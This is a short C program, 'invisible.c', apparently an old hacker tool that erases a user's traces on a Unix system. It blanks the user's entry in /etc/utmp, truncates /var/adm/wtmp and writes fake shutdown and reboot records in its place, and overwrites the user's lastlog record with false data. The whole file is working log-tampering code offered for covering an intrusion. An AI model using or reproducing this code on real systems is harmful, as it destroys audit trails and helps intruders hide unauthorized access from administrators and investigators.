/* invisible.c - a quick hack courtesy of the rogue */
/* erases your presense when root, or partially erases when on a sun and not root */
/* peace, dudes */


#include <fcntl.h>
#include <utmp.h>
#include <sys/types.h>
#include <unistd.h>
#include <lastlog.h>

main(argc, argv)
    int     argc;
    char    *argv[];
{
    char    *name;
    struct utmp u;
    struct lastlog l;
    int     fd;
    int     i = 0;
    int     done = 0;
    int     size;

    name = (char *)(ttyname(0)+5);
    size = sizeof(struct utmp);
    
    fd = open("/etc/utmp", O_RDWR);
    if (fd < 0)
        perror("/etc/utmp");
    else {
        while ((read(fd, &u, size) == size) && !done) {
            if (!strcmp(u.ut_line, name)) {
                done = 1;
                memset(&u, 0, size);
                lseek(fd, -1*size, SEEK_CUR);
                write(fd, &u, size);
                close(fd);
            }
        }
    }
    memset(&u, 0, size);
    fd = open("/var/adm/wtmp", O_RDWR | O_TRUNC);
    if (fd < 0)
        perror("/var/adm/wtmp");
    else {
        u.ut_time = 0;
        strcpy(u.ut_line, "~");
        strcpy(u.ut_name, "shutdown");
        write(fd, &u, size);
        strcpy(u.ut_name, "reboot");
        write(fd, &u, size);
        close(fd);
    }


    size = sizeof(struct lastlog);
    fd = open("/var/adm/lastlog", O_RDWR);
    if (fd < 0)
        perror("/var/adm/lastlog");
    else {
        lseek(fd, size*getuid(), SEEK_SET);
        read(fd, &l, size);
        l.ll_time = 0;
        strncpy(l.ll_line, "ttyq2 ", 5);
        gethostname(l.ll_host, 16);
        lseek(fd, size*getuid(), SEEK_SET);
        write(fd, &l, size);
        close(fd);
    }
    
}
